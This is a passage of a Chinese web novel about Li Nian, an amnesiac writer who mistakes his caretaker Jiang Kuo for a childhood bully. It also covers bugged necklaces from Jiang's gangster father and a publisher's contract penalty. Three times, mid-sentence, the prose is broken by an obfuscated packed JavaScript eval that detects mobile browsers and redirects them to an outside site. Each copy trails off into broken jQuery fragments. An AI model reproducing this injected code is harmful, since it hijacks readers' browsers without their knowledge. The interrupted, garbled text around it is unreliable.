白车来的时候,医护测了一下人的心率血压,生命体征平稳。只是高烧41°,加上惊恐发作后的极度疲乏,现在暂时醒不过来。 隔天黎念在病床打呼噜,到下午都没醒。 梦里有个中学的古惑仔,穿着简陋的校服在给他塞烟头,还揪着他的头发挨打。 黎念拼了命地去看霸凌者的脸,那张脸竟然是江扩。 梦里他吓出一身冷汗,但就是怎么也醒不来。 江扩见叫也叫不醒,有当植物人的潜力,只好打了电话给黎徊。 “喂?”黎徊问。 江扩把耳朵凑近了点,愣是听不出那边是什么噪音。 “姐,你在哪里?”江扩捏住眉心问。 “哦,公司组织打麻将,”黎徊问,“咋了?又跑去gay吧了?” “不是,”江扩说,“你先过来吧,他又在玛丽医院躺了,昨天晚上在路边挨了几个酒瓶子,估计快醒了,好像记忆恢复了点。” “什么?!”黎徊从麻将桌当着其他三个麻将友的面蹦起来,“恢复记忆?” “嗯。”江扩这会也有点雀跃,“玛丽医院,快来。” 挂了电话,江扩趴到黎念身边眯眼小憩。 黎念在梦里被霸凌者捅了一刀,从床上哐地坐起来。 低头瞧见有个男人在旁边睡觉,不忍心叫醒他。 黎徊赶到玛丽医院,挨个护士问清楚才找到病房。 “弟弟。”黎徊见黎念又是满头包着绷带,不禁红了眼眶。 黎念愣了愣,零碎的记忆像拼图一般凑齐了一点。 这好像是他姐。 “姐姐。”黎念迟疑了半刻,才喊道。 “想起我是谁了吗?”黎徊握住黎念的手哽咽道。 “嗯,还有爸妈。”黎念还在发愣。 “好事,好事,”黎徊指了指旁边熟睡的江扩,“知道他是谁吗?” “没印象,”黎念说,“没看清他的脸。” 这时江扩抬头了。 黎念跟江扩期待的眼神对视后,梦里那个霸凌者的脸渐渐浮现,跟江扩这个人的脸重叠。 “好像是以前欺负我的。”黎念说。 “你放屁。”江扩怒道,“老子救了你那么多次,你说我是欺负的那个?” “记忆不会骗我!”黎念拿起枕头朝江扩抡过去,“救我的不是你,是另一个,我想起来了!你一直骗我是我男朋友,你明明就是霸凌我的那个!” “你神经病!”江扩接过枕头砸过去,“我,江扩,中学为了救你差点被古惑仔群殴的那个人!” “你放屁!我就是被你霸凌的,救我的是那个叫Alex的人。”黎念骂完又开始头痛欲裂。 “什么Alex!”江扩气笑了,转头去向黎徊求证,“你听说过Alex吗?” “没,没有。”黎徊摇头。 “那Alex是谁?”黎念又追问黎徊,“姐,你不会骗我的,那个Alex救了我,我还教他白话,繁体字,还跟他亲了。” 江扩啪一声捂住整张脸。 记忆是恢复一点,只不过拼图拼错了,这下麻烦更大了。 “我们去看之前那个医生,好不好。”黎徊央求道。 “我记忆都恢复了,为什么还要看医生?”黎念倒回病床上,对着日光灯大笑,“我想起我爸妈,想起你,想起很多事,但是我就想不出那个救我的人的脸。” “都说了是我!”江扩恨铁不成钢地朝黎念的胸脯砸了一拳。 “他又要开始霸凌我了!”黎念尖叫。 黎徊风驰电掣捂住黎念尖叫的嘴,但噪音早就吸引来护士。 “唔该请安静点,其他病人也要休息。”护士说。 “弟弟,你冷静点。”黎徊轻轻拍黎念的后背。 黎念喘了很久的粗气,才逐渐平静下来,目光暗淡。 他也隐隐觉得有点奇怪,温柔体贴的霸凌者,还有消失的救人者。 如果他姐没有骗他,那就是记忆背叛他。 “对不起。”黎念对江扩说,“是我激动了。” “你晕过去之前,叫了我一声大哥,”江扩趴在旁边拨弄黎念的鬓角,“知道吗?你之前也一直叫我大哥。” “我叫过一个人大哥,但那个人好像不是你。”黎念闷闷回答。 江扩整个人精疲力尽,闭上眼没再去看黎念。 黎徊联系了上次看脑科的医生,隔天跟江扩就把黎念带过去了。 “记忆错乱?”医生问。 黎念又拍了一次CT,脑部创伤已经痊愈不少。 江扩怀疑黎念的头是铁做的,吃了这么多酒瓶子,撞了这么多次头都没碎,反而还好了。 “嗯,他认识他姐,他爸妈,不认识我,”江扩凝视那张脑部CT,“而且好像把我误解成以前欺负过他的。” “这是好事啊,”医生摘下CT片,“至少说明在恢复记忆了;恢复过程有一些记忆颠倒错乱,幻觉,或者精神症状,都系正常的。” “精神症状?”黎念缩在旁边问。 “不是叫你出去吗?”医生一脸平淡将CT片转进袋里,“就是指焦虑,抑郁,躁狂,强迫都有可能,防止病人自伤自杀,冲动伤人。” “这么严重?”黎徊抽出第N张纸擦眼泪。 “不严重,看你们怎么照顾,不行就住院。”医生说。 “不住!”黎念脸色阴沉下来。 “Who cares?”医生耸肩,“不想住就乖乖听话,禁酒,咖啡,茶,忌辛辣,食物清淡,多运动,正常作息。” 药房买了一堆处方药,江扩偷偷用手机查自己存款,有点入不敷出但还起码能维持生活。 如果黎念能重操旧业,那就不用愁接下来的治疗费用了。 但望住黎念现在半残废的凄凉背影,江扩也不忍心去给黎念增加压力。 黎徊公司还有活动,也没说清楚是不是打麻将,给黎念带了几件换季的衣服就走了。 “你真不是那个霸凌我的?”黎念在的士里,时不时去偷看江扩的脸。 “真不是,”江扩说,“我要是欺负你,用得着照顾你八九年吗?” “噢,原来你照顾我八九年。”黎念有点印象。 “那你如果是因为愧疚,才照顾我的,”黎念别过头对着车窗自言自语,“好像也不难理解。不过你要是现在对我这么好,不管你是那个欺负我的还是砸我酒瓶子的,也就算了吧。” “说了我不是。”江扩说罢,踢了一下黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722043|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念的鞋。 “我爸妈怎么不要我了?”黎念又对着车窗问,“他们在纽约街上把我扔了,我还在喝奶粉呢。” “不是你自己要回来的吗?”江扩说,“你说你跟父母断绝关系,然后回来香港找我了。” “是吗?”黎念皱眉,又对着街头的猪头氢气球喊道,“我看见那个大哥了!” 果然有幻觉,貌似还不轻。 “刚刚青山出院吗?”司机用后视镜瞥了一眼黎念身上的病服,“没事没事,我们香港很尊重青山病人的,我理解。” “不是。”江扩干笑,干脆把黎念整个搂到肩膀靠着,“乖乖的,别给师傅添麻烦。” “我又没做什么,”黎念静静靠着,“我真的看见大哥了,飘在天上圆圆的。” 江扩没忍住噗嗤一声。 “大哥过来救了我,我就想跟他一辈子了。”黎念闭着眼睛说胡话。 江扩刚笑完,喉咙又传出一声哽咽,两行泪落在黎念鬓角。 “凉凉的。”黎念睫毛颤了颤。 江扩匆匆擦了眼泪。 回了家,黎念也没再那么怕大福,甚至开了笼子邀请大福出来玩。 “我以前也叫大福,”黎念对大福说,“但是后来我妈非要给我改名字,我很喜欢那个名字的。” “放屁。”江扩站在窗边笑道。 “真的。”黎念抬头说。 “是谁当时天天嚷着要改名的。”江扩揶揄一句。 “哦,那个欺负我的人总说我是狗,说我叫黎大狗,”黎念用怀疑的眼神看江扩,“不会是你吧?” “我是你大哥!”江扩恨不得过去扇黎念的额头,又怕被黎念指认为霸凌者。 “那到底是谁。”黎念低头摸大福,头又开始疼了。 黎念撸狗的间隙,江扩手机又收到来自出版社和网站的消息。 还有几天,黎念的合同就要违约了。 “黎念。”江扩憋了很久才下定决心开口。 “嗯?”黎念把大福抱进狗笼,应道。 “小说的事情,”江扩深深吐了口气,“你如果没再更新,要赔违约金了。” “不写。”黎念说。 “那赔偿金你出,我不出。”江扩黑着脸说。 “你写吧。”黎念说。 江扩眼前一亮。 “我有一大本笔记,里面写着我的大纲,细纲,人物设定,还有香港各处环境描写,还有我的涂鸦,”黎念锁上狗笼门,“我不想写了,你帮我写吧。不知道为什么就是不想写了,我想找其他工作。” “好。”江扩答应。 隔天江扩根据黎念的指示,坐了趟叮叮车去黎徊的住址,在房间翻天覆地半个下午才找到那本笔记,都已泛黄。 随便掀开一页。 “大哥舔了舔黎念的嘴唇,说:‘要不要玩那个游戏?’黎念:“大哥,我怕怕。”大哥:“大哥不会弄疼你的。”——零八年七月廿一号” “大哥:‘大福啊,你是不知道我有多爱你。’黎念说:‘有多爱?’大哥:‘和你的心跳同步,你的心脏一分钟跳多少,我一分钟就爱你多少,你的心跳多久,我就爱你多久。’——零八年七月廿六 江扩扔下泛黄的笔记,趴到电视柜捧腹大笑。敢情这小子零八年就对他有意思了。 这边支开江扩后,黎念站在窗台抽白万宝路。 如果他的记忆背叛他,那记忆中那个Alex又是谁?难道是凭空出现的吗?或者是以前在gay吧的朋友? 记忆怎么可能会被篡改呢?! 64. 第 64 章 黎念靠在窗边幻想跟Alex大哥缠绵的时候,江扩拿着珍贵的笔记赶回中环的出租屋里。 脑里的声音一直在盘旋。 “大福,我是大哥,我是Alex,”大哥说,“你跑去哪了?我找不到你,我在gay吧找你。” “我要去找他,我要去找他。”黎念头痛欲裂,找人的执念虚幻又真实,像细密的蛛丝缠绕他的梦境和现实。 江扩拿着笔记本,拿钥匙开了门。 “你在干什么?”江扩问开了窗的黎念。 见窗户敞开,江扩又想起医生的话。大概是黎念恢复记忆中可能有精神症状,包括抑郁。 我草,这个扑街不会是想跳楼吧?! “冷静!”江扩扔下笔记本。 “干嘛?”黎念不耐烦地白了江扩一眼,没想到这人这么早回来。 “你过来,给你看一样东西,就不会心情不好了。”江扩乞求。 黎念半信半疑地走过去。 “我又没有心情不好。”黎念一脸郁闷。 “那你开窗户。”江扩“跳楼”俩字卡在喉咙。 “我不能开窗通风吗?”黎念说,“谁说开窗就是跳楼?那你不得跳好几次。” 江扩哑然失笑。 “你看。”江扩捡起扔掉的笔记本,把那页写着跟大哥不堪入目的缠绵故事翻出来。 黎念凑近去看他写的灵感,原来他以前的字这么好看。 有印象自己用这本笔记谱出一本又一本的小说,但内容全忘了。 看到写跟大哥Alex甜蜜互动的瞬间,黎念的手抖了一下。 “哈哈哈哈哈,原来你从这就开始喜欢我了呀。”江扩凑到黎念耳旁轻声戏谑。 “不是你。”黎念脸色阴沉下来。 “什么?”江扩皱眉。 “我说,这个人,”黎念一字一顿,“不是你。” “什么意思?”江扩气得发笑。 “Alex,他在酒吧等我。”黎念眼神恍惚。 一种不详的预感席卷而来。 “不许去。”江扩揪住黎念的耳朵晃了几下。 “我没有说我要去。”黎念哭哭唧唧的从鼻里窜出一个鼻涕泡。 江扩才松开耳朵,拿起黎念的笔记本电脑,充完电开始码字。 然而写多了歌词,江扩是第一次接触小说,对着屏幕愣了很久。 黎念放出大福,抱在窗台边给大福顺毛。时不时去偷看江扩。 这个人,他确实有点喜欢,但也许恨更多。 限制他的出行,谎称是他的男朋友,说不定是以前哪个欺负过他的混混呢。 却又那么亲昵温柔的给他擦身,给他整理被窝,甚至帮他收拾小说残局。 “你过来看看,这个写的怎么样?”江扩敲下一个句号,转头对黎念说。 黎念不情不愿地走过来,瞥了一眼文字。 “烂泥一堆。”黎念说。 “那你写啊。”江扩咬牙切齿道。 “不写。”黎念回去继续撸狗。 这么可爱的狗,之前怎么会觉得丑呢。 晚上江扩终于完成一章,发了邮件去给出版社。 洗完澡没多久,门口传来铃声。 江扩猜想不是江收就是黎徊,便毫无防备的走过去开了门。 “哥。”江收果然站在门外,又提着一堆东西,颈上的项链尤为耀眼。 “进。”江扩不想多说,给江收让成一条道。 “中二病?”黎念眼前一亮。 “好啊,认得我了,”江收把一袋东西放到饭桌上,“也算是一种进步。” “你认不认识Alex,他是我大哥。”黎念吐出一句。 江收愣了愣,跟江扩面面相觑。 “你英文名是Alex?”江收问。 “不是,”江扩小声提醒道,“记忆错乱。” “那麻烦。”江收说。 “我要找Alex。”黎念垂下头闷闷不乐。 “那个,”江收说,“我记得咱们班里之前是有个叫ALex的,成绩垫底,戴着黑框眼镜天天上课睡觉。” “就是他了!”黎念眼前又是一亮。 “是个屁。”江扩骂道,用眼神示意江收别再添堵。 江收耸了耸肩,拿起新的狗零食去逗大福。 大福屁颠屁颠跑过来,吃下江收撕下的狗零食。 “这是什么肉?”江扩见肉颜色不太正常,皱着眉问。 “不知道啊,爸给的。”江收继续喂狗。 “别给他吃了,”江扩脸色黑着,“毒死狗。” “咱爸好端端毒死你的狗干嘛?”江收不以为然。 江扩还是不放心,拿起配料表一看,全是东南亚某个国家的文,于是直接拿起手机翻译。 翻译内容出来的时候,江扩感觉自己的脑子都要炸成花了。 穿山甲...肉?! “别,别吃!”江扩立马反应过来这东西不仅是保护动物的肉,而且百分之九十是大哥荣这个扑街走私来的。 “啥?”江收又撕了一块给大福。 “你当真什么都不知道?”江扩扔下包装袋冷笑。 “我是真不知道啊哥,”江收说,“吃都吃了,不如就别浪费呗。” “给我扔了。”江扩再次强调。 “唉,”江收顺手把肉扔进垃圾桶。 江扩还是觉得不对劲,反手把一整袋手信扫翻在地。 其他狗玩具正常,还有一个不知道什么做的磨牙玩具,两条比江收那条小一点的项链。 “这项链,谁送的?”江扩捏起两条项链问。 “爸送的,他说咱们三个,一人一条,说是什么开过光,能包佑大小平安,”江收抬手摸了摸祖母绿的水晶项链,“就是不知道怎么回事,有时候还真感觉它蛮有灵性的,像是长了眼睛在帮我们看世界。” “摘下来。”江扩神色冷冽。 “干嘛?”江收问。 “老大,有情况。”手下听完监听器对接的声音,转头对打瞌睡的江广荣说。 “在笑?”江广荣睁开眼,面无表情地道。 “不,好像发现了。”手下神色凝重。 江广荣紧皱眉头,走过去趴着听。 这边江收已经在江扩的威胁下摘下项链,江扩转身顺来一把实木椅,往茶几上摆着的项链狠狠抡了过去。 里面是完整的一套电子线路板和收音麦克风。在高贵的外壳掩饰下,正常人根本想不出里面有个小巧不易察觉的窃听器。 “我草。”黎念被江扩的举动吓了一跳,看见里面的电子设备后又庆幸早发现了。不然估计他们戴上这条项链得被江广荣监视一辈子。 这个黑大佬究竟是想干什么? 江扩拿出两条江广荣为他们准备的项链,也是用实木椅直接抡开。 不出所料,两条项链里面各有一个精密的窃听器。 “呃...”江收憋了半天憋不出一句话。 “怎么解释?”江扩歪着头对江收笑。 “我也不知道啊,”江收大气不敢出,“当时我爸说这是帮的最后一次忙,还给我带项链当护身符,还是祝我律师之路畅通无阻之类的。我也没想过他还会窃听自己女儿啊。” “等等。”江扩伸出一只手制止江收继续说下去,紧接着捞起三条砸烂的项链,从窗台扔出去。 “高空抛物造成损害,罚款一万港币,监禁6......”江收又犯职业病。 “好过你睡觉都被人监听!”江扩怒道。 三人沉默了很久,江收对着窗口恍惚。 她是真没想到他爸能给她安监听器。那这两天的行踪,以及她干的那些事,岂不是都听到了? “我地址暴露了,”江扩瞪了没头没脑的江收一眼,“搬家吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722044|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎念趴到窗台看,只见三个项链躺在街上明晃晃的,倒是没砸到人。 “没必要吧,可能咱爸只是想了解一下你的生活,不一定会对你和黎念造成困扰。”江收说。 “你懂什么?”江扩吼道,“他活着对我和黎念都造成困扰!你这个律师怎么当的?” “不怎么当,我也只是想赚钱。”江收破天荒说了句实话。 “好啊,当律师为了赚钱。”江扩垂着头狂笑啧舌。 “谁都想赚钱,但是赚钱要有底线。”江扩看着江收。 “我会有底线的。”江收说。 “下次江广荣给你什么东西,不要拿到我这来,”江扩开了门示意江收离开,“我这里,容不下非法两个字以及黑白不分的蠢人。” “真要搬家?”江收回头问。 “两天内搬。”江扩砸上门。 “真要搬?”黎念小心翼翼问。 “搬,”江扩在whatsapp联系房东,一边说,“我说过,江广荣危险,某天我出门你在家,被纵火烧成灰了都不知道谁干的。” “你现在说了我不就知道谁干的了。”黎念开了一半玩笑,被江扩瞪回去了。 whatsapp上面房东到现在还没回复,江扩咬了咬牙,干脆一电话打到江广荣那去。 “喂,”江广荣打了个哈欠,“儿子啊。” “第一,我不是你儿子,我叫江扩,虽然姓江,但打死不是你儿子,”江扩像是在对一个血海深仇的敌人予以警告,“第二,下次别托你女儿带什么乱七八糟的垃圾东西来给我,我见一次扔一次;第三,我问你,项链的窃听器是不是你干的。” 江广荣那边安静许久。 “是,”江广荣点了根雪茄,“想看看你们的生活怎么样,我好安心些。” “呸,”江扩骂骂咧咧,“江广荣,你车大炮(撒谎)也好有个度,到底是想监视我们还是想单纯关心我们,你自己心里有数。” “......” “既然我租屋的住址暴露了,我明天搬走。你也不用再费尽心思关心我。”江扩挂了电话。 黎念全程在旁边看着,莫名有些心疼江扩。 这么好一个人,怎么会有个黑大佬父亲? 他又想起美国那对父母,印象中他们都是很和蔼的父母,当时也是迫不得已才让他回来的。 不对,好像是他偏要回来的? 黎念头疼了一会,拿出手机拨了尘封在通讯录底部的几个备注电话。 “你打给谁?”江扩挑眉。 “我爸妈,我想他们了。”黎念哭哭啼啼。 黎念满心激动等待电话接通,长途电话打太久很耗钱,只好在脑里赶快编制好要说的肉麻话。 “Hello?”那边先传来一个中年女人的声音。 “妈...”黎念抹了一把眼泪。 那边怔了几秒。 “喂,你儿子来电话喔。”那边的中年女人阴阳怪气朝麻将桌的黎雄说。 黎雄扔下麻将牌,气势汹汹走过来。 “妈,爸,我想你们了,我爱你们。”黎念念得满脸通红尴尬。 “哟,也不知道是谁偏要回港去找那个什么大哥,写俩同性恋变态小说去了不要我们管咯,”黎雄阴阳怪气道,“怎么,大哥不要你了碰了一鼻子灰,要回来当我们的拖油瓶啊?回来个屁!你踏马当年给跟我们二老写关系断绝书的时候怎么没见你这么哭哭啼啼啊?啊?!” “你说什么?!”黎念气得满脸通红。 “我说什么?”黎雄啐了一口,“我说没你这个儿子,也没她这个女儿!我们在唐人街这吃香的喝辣的,一堆麻将友,养老院多的是!滚!” 说罢那边成了嘟嘟声,留下黎念跟江扩茫然对视。 “他们不要我了?”黎念难以置信。 “不是,他们是配不上当你父母,”江扩说,“你比任何人都好。” 65. 第 65 章 隔天包租婆有事外出,搬家一事硬是拖到一个星期后。 东西都打包好了。 “去哪住?”黎念一脸疲惫站在街上。 “我们去西港城附近的公寓住,找到间便宜的。”江扩联系完搬家公司,挂完电话对黎念说。 “有两间卧室吗?”黎念问。 “干嘛?分居啊。”江扩冷冷道。 “不想跟你一块睡,膈应。”黎念垂着头踢了一下地面。 “你死了人都是我的。”江扩态度强硬地说。 黎念暗暗发誓总有一天要离开这个霸道的人,顺便快点找到Alex。 江扩用余光瞥了黎念一眼,感觉一直不太快乐。 到底是因为记忆恢复前情绪不稳定,还是单纯因为他? 思考几秒,江扩叹了口气。 “随便你,我睡折叠床也好。”江扩说。 “折叠床?”黎念问。 “你之前每次住院,我都是用那个折叠床睡在旁边看你的。”江扩回答。 黎念沉默了。 “不分床就不分床,搞什么自我感动。”黎念冷冷回答。 搬家那天俩人加上一狗心情都很沉重,换了地方一夜睡不着觉。 这里离叮叮车站更近,到半夜十二点还有叮叮的清脆铃响。 很久以前江广荣那个老巢,离叮叮车站也很近。黎念每次离家出走去找他,两人都是在叮叮声中酣然入睡。 “汪汪,汪!”大福在狗笼里越来越焦躁,半夜竟站起来狂吠。 “大福,静点!”江扩拿一颗冻干扔到笼里,“再吵包租公要把你赶走了。” 大福还是吠。 “让不让人睡觉了!”黎念拿枕头捂住整个头,一边哀嚎。 结果整夜过去,两人脸上的黑眼圈更重了。 “我搬出去。”黎念骂骂咧咧的就要收拾行李。 “你有钱吗?”江扩站在门后问。 “我还有,还有...”黎念摸了摸兜里。 “十万多港元,租个房子去掉一半,就你那吃法一日三餐至少两百港币要吧?你踏马又不写小说,还酒吧鬼混,”江扩数落,“一杯酒就要你一百多港币,用不了两周你就能饿死。” “操了。”黎念黑着脸把衣服扔回衣柜。 江扩没空再理黎念在沙发的碎碎念,打开电脑准备更新一章给出版社发过去。 结果出版社的邮件先来了。紧接着还有whatsapp的消息。 “怀疑非黎小福本人手笔,违反咗合同里第三条,黎小福先生过来当面解释下。” “如承认非本人手笔,无法保证继续更新,即系违约,合同作废,赔偿金係合同最后一条。” “屌!”江扩啪的盖上电脑,顺便把手机也扫到床上去。 此刻他只想跪下求黎念死活更新一章,但这只会给还在休养生息的黎念更多的焦虑来源。 “喂。”江扩问沙发上吃了药昏昏欲睡的黎念。 “咩啊。”黎念睁开半只眼。 “赔偿金多少?合同我看一下。”江扩伸出一只手。 “不知道,合同不知道。”黎念不耐烦地闭上眼睛。 江扩收回手,坐在桌前一脸无措。 坐了大半个下午,江扩决定自己带黎念一齐出面跟出版社解释清楚。 搬完家隔天,江扩揪着黎念的耳朵,从铜锣湾港铁站坐到中环,在一座大厦面前停下。 “放开我!”黎念的左耳早就红透。 “自己解释,我不多做干涉。”江扩黑着脸朝大厦大门抬了抬下巴。 公司在大厦的三十二楼,黎念还有点印象。 江扩按了电梯按钮,跟黎念在电梯口等。周围人来人往,黎念沉寂许久的焦虑又开始发作,头晕目眩得像是踩在云上。 “难受。”黎念把头靠在江扩肩膀上。 “忍忍,待会就不会了。”江扩从裤兜里拿出一小瓶阿普唑仑。 黎念紧紧皱着眉头,用余光瞥了一眼药瓶。 这药已经很久没碰过了,好不容易断掉的依赖性...... 做了很久的心理斗争,黎念才接过药含了一颗。 “水。”江扩趁电梯口开了的瞬间,递给黎念一瓶屈臣氏蒸馏水。 一群人涌了出来的同时,黎念趁机吞下药。 “走吧。”江扩推着黎念进了电梯。 几乎每一层都有客人,到了十几层两人已经被挤到角落。江扩这会都有点喘不过气来,更别说黎念了。 “我踏马真不该答应你,来这个破地方。”黎念捂着额头,哽咽道。 “早晚都该来,”江扩冷冷道,“签合同当大作家的是你,马上违约的也是你,不是我。” “屌,”黎念嘟囔,“早知道不写了。” 江扩神色凝重看了看黎念,他不清楚黎念明明以前那么喜欢写作,现在却几乎连键盘都不碰。 之前生日送的机械键盘,现在也已经落了灰。 到了出版社的楼层,门口一位工作人员事先已经在电梯口迎接。毕竟黎小福是红极一时的耽美作家,如果能谈妥继续合作写下去,好处总比坏处多。 “好久没来了黎先生,还记得我吗?”小填点头致意。 “你认识Alex吗?”黎念没头没脑问一句。 “不认识,”小填摇头,“江先生你好,好久不见,当年在读者见面会见过你。” “你好。”江扩点头。 “能在一起这么久的同性伴侣真的难得,”小填领俩人进了会客室,“稍等,负责编辑和社长马上就来。” “以前我和男朋友来过。”黎念捂着额头坐到沙发上,有点头晕目眩。 “是啊,江先生。”小填看着江扩一头雾水。 “不是,是Alex。”黎念脱口而出。 “别说了!”江扩偷偷拧了一下黎念大腿,“你想他们把你当傻子吗?” 恰巧门口进来几个人,黎念缩回腿一声哀嚎,当着所有人的面满脸恨意道:“别碰我!” 江扩尴尬地缩回手,转头佯装一脸笑意跟几个人打招呼。 “江先生,福仔,好久不见。”社长点头。 “谁是福仔?”黎念的脸瞬间红了。 “好久不见。”江扩把蠢蠢欲动想跳起来的黎念强行按下去,又朝社长点头用口型说,“他有点不记得事情了。” “事情我们也了解了不少,可以理解。”几人坐到江黎二人对面,黎念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722045|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时有些坐如针毡。 “小说的事。”另外一个戴眼镜的严肃女人说。 “就是为这件事来。”江扩看了看黎念。 “记忆不好我理解,但是为什么小说也不写了呢?看看前面的构思继续写下去有那么难吗?”严肃女人质问。 黎念无语。 “就是不想写,你们管我?”黎念不耐烦地回答。 “黎大福!”江扩小声喝道。 黎念收了声,还是不服气地瞪了几人一眼。 “不要以为你是畅销书作家,我们出版社就能处处求着你,”眼镜女扶了一下镜框,“香港的实力作家很多,不差你一个。” “哦。”黎念依旧用桀骜不驯的语气说。 反正他的宗旨只有一个,那就是跟不喜欢的人反着来。 “合同你已经犯了很多条违约,如果到期没有完成出版社的要求,我们可以要求赔偿。”眼镜女又说。 “哦。”黎念微微仰起头表情欠揍。 江扩终于坐不住,把黎念推出去门外,又锁上门。 “他是个很好的作家。”江扩对几人一脸无奈道。 “出事前是,现在不是了。”眼镜女皱眉反驳。 “请给我多点时间,让他好好休息,我相信脑损伤恢复后他会重新执笔,”江扩几乎恳求,“这段时间我代笔,行不行?我也能写小说的,歌词跟小说一样都是文学,歌词都能写小说我肯定也能写。” “你还是没了解清楚合约的内容。”社长摇头。 黎念在出版社转一圈,又趴在落地窗的玻璃上看外边半个香港的风景。 江扩接过合约,仔仔细细啃了一遍,越啃脸色越难看。 这里面十几条重要乙方条例,黎念犯了十有八九,其中就包括他人代笔,逾期拖稿等等。 “合约有法律效应,就算我们同意又怎么样?合约是改不了的。”社长说。 “那现在应该怎么做?赔偿的话,赔偿金唔该帮我清算一下。”江扩咬着牙说。 “算了。”眼镜女抿了抿嘴。 “五十万港蚊,加上上次对他这本新书的畅销推广,投资,共七十万。”眼镜女看了一眼沉默的社长,又毫不留情地对江扩说。 “好。”江扩点了点头,唇色苍白,“我两天内打到贵社账户上。” “如果他恢复记忆,他还有机会写下去吗?”江扩追问。 “随时欢迎,如果不介意我们有过合同纠纷的话。”眼镜女终于露出一丁点微笑。 “拜托了。”江扩说。 谈了很久,江扩出门的时候正看见黎念在把弄花瓶上的水仙花,谈了口气。 说实话江扩刚刚有一拳挥在黎念脸上把他打清醒的想法。毕竟就算违约,赔偿金也是江扩出,不是黎念这个身上没多点钱的出。 而黎念此刻却神态悠闲,丝毫没有愧疚之心,甚至似乎认为是理所当然的。都怪他宠坏这个反骨仔。 但是谁叫黎念是个失忆病人呢。 这点气江扩也就只能忍在心里了。 “回家。”江扩没好气地说。 “钱我赚回来还你。”黎念跟在后面说。 “谁特么要你还了?”江扩听见还钱,倒还不爽了。 66. 第 66 章 晚上江扩翻出黎念的灵感笔记,每一页清秀的笔迹都是黎念曾经的心血。 也是对黎念现在对写作事业和合同违约事不关己高高挂起的赤裸裸讽刺。 “呜呜呜。”大福跑向沙发狂炫可乐的黎念委屈叫着。 “滚!”黎念突然窜出一股无名火,把可乐往桌上猛地一砸。 可乐瓶溅出点在桌上,黎念赶跑狗之后又灌了几口,没去理会桌上的狼藉。因为他知道,这个自称自己男朋友的江扩会帮他收拾的。 大福受惊,灰溜溜躲回狗笼。 “黎念!”江扩将笔记砸向桌面。 “干嘛。”黎念把最后一口可乐灌下。 “第一,如协议书上所示,不许酗可乐;第二和协议书没多大关系,不许凶大福,不许打骂大福。”江扩说,“大福是个生命,还是我们养的第一只狗,我不允许你这么对它。” “协议书已经烧掉。”黎念嗤鼻。 “内容我倒背如流,”江扩起身去到狗笼面前安抚大福,顺便倒点冻干狗粮在空荡荡的狗盆里。 在黎念眼里,江扩越来越像个控制狂。 “我出去。”黎念板着脸,在江扩的注视下打开家门。 “等等,”江扩说,“出街原因上报。” “这点屁事还要跟你报告?”黎念愠道。 “要,”江扩拍干手上的狗粮粉末,“为你好。” 黎念跟江扩对峙良久,才不情愿地道,“出去走走。” “不许去gay吧。”江扩说。 黎念嗤了一声,赌气砸上门。 江扩叹气,感觉装上不久的新门已经在用粤语粗口咒骂离开的黎念了。 黎念出了街,便站到橙色垃圾桶旁边点燃一根白万宝路。 江扩拿起whatsapp,给黎念发了条信息。 ——别太晚回,外边危险。 黎念扔下烟,给江扩发了条语音。 ——“关你嗨事。” 江扩冲手机翻了个白眼,翻开黎念的灵感笔记继续一页一页看。 合同违约,因为是江扩代写的,因为逾期,因为...... 那如果是以自己的名义签约,把黎念这些放弃的故事重新更改成小说后发表,是不是就能让黎念小说里小说主角的生命继续延续下去? 灵光一现,江扩拿起手机,找到出版社的联系方式。 黎念抽完一根烟,想起江扩的各种不允许,反叛心理又开始作祟。 “不让去gay吧是吧,老子偏要去。”黎念骂骂咧咧走向叮叮车。 “叮叮,叮叮......” 港岛环岛的清脆叮叮声响彻维港的周围,黎念搭了几个站,在彩虹吧的酒吧门口下了。 瞧见门口两对搂着说情话的gay子拉子,和店外璀璨的彩虹灯牌,黎念的心瞬间踏实下来。 那个记忆里的Alex,到底在哪? 如果真的能确认这个Alex确实存在过,那江扩说的一切应该就是诓他的。 “一杯激情四射,唔该。”黎念对吧台眉眼柔和身材高挑的靓仔调酒师说。 “现在不做这个酒了。”调酒师抬头。 “血腥玛丽。”黎念又换了个重口味的酒名。 调酒师挑眉。 “确定?”调酒师语气有些戏谑。 “看不起我?”黎念也跟着挑眉。 “OK。”调酒师耸了耸肩,不知从哪掏出俩红透的番茄。 和一条芹菜。 黎念看得愣了神。 “做菜啊?”黎念没忍住笑了一声。 “不是要血腥玛丽吗?”调酒师拿出一把明晃晃的菜刀,咬着牙把俩番茄拍成烂泥。 盯着调酒师的狰狞表情,黎念背后汗毛直竖。 